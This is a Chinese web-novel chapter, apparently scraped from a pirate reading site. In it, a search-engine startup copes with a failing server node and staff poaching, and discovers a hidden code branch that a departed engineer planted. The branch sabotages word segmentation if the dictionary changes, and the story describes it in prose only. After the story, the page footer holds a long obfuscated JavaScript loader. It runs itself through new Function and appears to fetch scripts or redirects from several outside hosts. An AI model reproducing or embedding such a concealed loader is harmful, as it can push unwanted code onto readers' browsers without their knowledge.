首页
第三百零五 埋雷
返回
关灯 护眼:关 字号:小

第三百零五 埋雷

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第三百零五埋雷(第1/2页)
    凌晨三点十五分,何明盯着屏幕上那条锯齿状的曲线,手指敲桌面的节奏越来越快。
    节点三的内存占用图像被一把钝锯来回切割,波峰和波谷之间的差距比三小时前扩大了近一倍。何明滚动替换节点七之后,系统运行平稳,唯独节点三像被人从内部撕裂。
    他抓起电话打给炜杰。
    二十分钟后,炜杰披着外套冲进机房,李彦强跟在后面,头发乱糟糟的。
    “不是兼容性问题。“何明把两张打印出来的曲线图摊在桌上,“节点七换上去之后,所有新旧模块之间的数据握手都正常。但节点三的老主板跟新内存条之间存在底层时序冲突,这毛病平时藏在负载下面,一旦替换其他节点引发全局调度变化,它就浮上来了。“
    炜杰看着那条越来越大的锯齿:“会炸吗?“
    “说不准。“何明罕见地用了模糊词,“最坏的情况是连锁反应——节点三崩溃,负载瞬间倒灌到相邻节点,如果那时候我们正在替换节点五或者节点六,整个集群可能一锅端。“
    李彦强凑过来看屏幕:“能不能修主板?“
    “修不了。这是硬件设计缺陷,除非换整机。“何明摇头,“但我们没有备用整机。“
    炜杰开口:“跳过节点三。“
    何明和李彦强同时看向他。
    “节点三不动,先换四、五、六。“炜杰指着机柜,“把节点三从负载均衡池里摘出来,让它只跑最基础的缓存服务,降低压力。等全部替换完成,我们再回头处理它。“
    何明皱眉:“这意味着整个升级周期延长至少一周。“
    “总比全军覆没强。“炜杰转向李彦强,“志远走了,分词那边我天亮后去处理。你盯着产品进度,别让这件事打乱腾信交付的节奏。“
    李彦强点头,没说话。
    上午九点,炜杰推开了分词团队的办公室门。
    屋里只有一个人。老周坐在靠窗的位置,戴着老花镜,正对着一本翻开的《现代汉语词典》发呆。他是北大中文系毕业的,今年五十七岁,负责千度的词典编辑——给分词系统提供词汇库和语义规则。他不会写程序,但没有人比他更懂中文的词性、搭配和歧义。
    “志远走了,你知道吧?“炜杰拉过一把椅子坐下。
    老周摘下眼镜,从口袋里摸出一块布慢慢擦:“知道。昨天夜里他回来收拾东西,我刚好在。他没跟我打招呼,我也没问。“
    “分词团队现在剩几个人?“
    “算我三个。“老周伸出三根手指,“小王和小李,两个兼职的北大研究生,每周来三天。志远一走,核心算法那块就空了。“
    “你能顶上吗?“
    老周把眼镜重新戴上,看着炜杰:“炜总,我这辈子没写过一行代码。你让我改词典、标词性、理语义规则,我没问题。但让我动模型、调参数,那是叫一个厨子去打铁。“
    “我不是让你写代码。“炜杰身体前倾,“我要你当分词团队的临时负责人。代码可以让小王和小李写,但他们缺的是方向——不知道哪些词该优先处理,不知道歧义怎么断。你懂中文,你给他们定规矩。“
    老周沉默了一会儿:“腾信那边急吗?“
    “三个月,一天不能多。“
    “三个月……“老周咂摸着这个数字,“那得再招人。两个兼职研究生不够,至少再招两个全职的算法工程师。“
    “已经在写了。“炜杰从包里抽出一张纸,“招聘启事,你看有没有要改的。“
    老周接过去逐字读。启事写得直白:千度招聘自然语言处理工程师,要求熟悉统计学习或规则分词,有编程基础,薪资面议,工作地点中关村。末了加了一行字:“参与国内最大搜索引擎核心模块开发,直接服务千万级用户。“
    “这行加得好。“老周把纸还回去,“现在的年轻人不在乎钱,在乎事够不够大。你跟他们说这是在造一艘大船的龙骨,比说给多少工资管用。“
    炜杰起身:“分词这边交给你了。有任何事直接找我,不用过李彦强。“
    老周点点头,重新低下头看词典。他的手指停在一个词条上——“切分“。释义里写着:“把整体分成若干部分。“他盯着这两个字看了很久。
    反击是在中午开始的。
    小陈把搜乎在北大未名论坛发的悬赏帖截图存了下来,配上简短说明,发到了清华、人大、北航、北邮等十几所高校的论坛。截图清清楚楚:搜乎出价五千块推荐费挖千度员工,被挖者额外拿三个月薪水签约奖金。帖子末尾,小陈加了一句话:“各位同学,这就是搜乎的格局——不用产品说话,用钞票挖墙脚。“
    与此同时,千度官网上线了一份《千度搜索引擎技术透明度报告》。报告里列出了千度的团队规模——二十三名全职员工加九名兼职研究生,列出了千度的服务器配置——八台节点集群正在升级中,列出了千度的日均索引量——超过一千万网页。没有一句攻击竞争对手的话,全是数字和事实。
    但最有杀伤力的不是报告,是何明做的一段技术演示。
    他用屏幕录像软件录了一段五分钟的视频,标题叫《同一个词,千度和搜乎看到的有什么不同》。视频里,他在千度和搜乎的搜索框里输入同一组搜索词:“清华大学计算机系“。千度的结果页第一条就是清华大学计算机系的主页,摘要精准截取了系简介的前两行。搜乎的首条结果却是某培训机构打着“清华计算机“旗号的广告页。
    (本章未完,请点击下一页继续阅读)第三百零五埋雷(第2/2页)
    第二组:“北京协和医院挂号“。千度第一条是协和医院官方网站。搜乎第一条是一个第三方挂号中介。
    第三组搜索词更刁钻:“苹果多少钱一斤“。千度识别出“苹果“是水果,结果页混入了一家水果电商。搜乎把“苹果“理解成了电脑品牌,首页全是数码产品。
    视频最后,何明打了一行字:“分词不是魔法,是对中文的理解。“
    小陈把这段视频传到了各个高校论坛。到晚上八点,帖子下面的回复已经翻了三页。
    “搜乎那个推荐费帖子我看到了,当时就觉得很掉价。“
    “千度只有二十三个人?不太可能吧……但如果真是这样,那效率也太恐怖了。“
    “何明那个视频我试了,是真的,搜乎确实分不清苹果是水果还是电脑。“
    “搜乎最近到处挖人,我室友就接到过电话,开口就是双倍工资,连技术面都没做。“
    舆论的风向在转。
    下午四点,炜杰接到了陈琳的电话。
    “炜总,腾信这边技术团队已经准备好了。马总的意思是,下周一开始需求对接,你们派两个人过来深圳,待三到五天,把定制引擎的功能清单过一遍。“
    “周一?“炜杰看了眼日历,“可以。我安排分词和架构各一个人过去。“
    “好。另外马总让我转达一句话——“陈琳顿了顿,“他说他知道你们最近在忙升级,也知道搜乎那边动作多。但腾信的合作不等人,三个月的期限,他希望千度能守住承诺。“
    “告诉马总,三个月后千度的引擎会准时出现在腾信的服务器上。“炜杰说。
    挂了电话,炜杰在办公室里坐了很久。二十三个人,节点三随时可能爆炸,分词团队刚失去核心,腾信催着要人——每一根绳都在往不同方向拽。
    他拿起笔在纸上列人选。架构这边何明走不开,只能派刘芳。分词这边……老周不懂代码,研究生没出过差。最后炜杰在纸上写了一个名字:自己。
    分词的需求对接,他亲自去。
    晚上十一点,炜杰还在办公室改深圳之行的需求文档。分机响了,是老周。
    “炜总,你现在能过来一趟吗?分词这边……有点事。“
    老周的声音不像平时那么慢条斯理,尾音里带着紧绷。
    炜杰快步穿过走廊,推开了分词办公室的门。老周一个人坐在屏幕前,小王和小李已经回校了。
    “你看这个。“老周指着屏幕上一段代码,“这是志远走之前最后提交的版本,我今晚闲着没事,一条一条过他的改动日志。大部分改的是模型参数,正常。但这里——“他把光标停在一行上,“这一行,藏得很深。“
    炜杰俯身看屏幕。那是一段条件判断语句,嵌在分词模型的初始化函数里,被三层循环包裹着,不逐行读根本不可能发现。
    代码的逻辑是:如果系统检测到词典文件的校验码发生变化,并且变化发生在某个特定的时间窗口内,分词模型会触发一个隐藏分支——输出的不是正常分词结果,而是将整段文本的切分粒度降到最低,所有连续汉字都被切成单字。
    这意味着什么?意味着如果有人未经授权修改千度的核心词典,整个分词系统会瞬间“瘫痪“——不报错,不崩溃,只是输出无意义的结果。用户看到的搜索摘要会变成一堆零散的单字,排序算法也会跟着失效。
    “这是……“炜杰盯着那行代码。
    “后门。“老周说,“或者,志远管它叫‘礼物‘。文件注释里他留了一个标记,就两个字——‘礼物‘。“
    炜杰没说话。
    王志远临走前,在千度最核心的代码里埋了一颗雷。这颗雷不会自己炸,只有人动了词典才会引爆。是防竞争对手抄袭?还是防千度在他走后改代码?又或者,是给搜乎留的后手——等搜乎抄千度功能时,这颗雷会跟着被抄过去,在某个时刻炸掉搜乎的搜索质量?
    “善意还是恶意?“老周问。
    炜杰直起腰:“现在不知道。“
    “那……拆吗?“
    炜杰沉默了很久。窗外的中关村已经安静下来,只有远处几盏灯还亮着。他想起王志远递辞职信时那张脸——三个字,“对不起“,没有解释,没有告别。
    “先不动。“炜杰说,“但要把它看死。老周,这段代码的触发条件你记清楚,任何人对词典的改动,必须经过我签字。“
    老周点点头,把眼镜摘下来又擦了一遍。
    炜杰转身往门口走,脚步比平时重。他身后,屏幕上那行被光标高亮的代码像一只沉默的眼睛,藏在几千行模型逻辑的最深处。
    王志远留下的是一道保险,还是一把匕首——答案只有在它引爆的那天才会揭晓。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();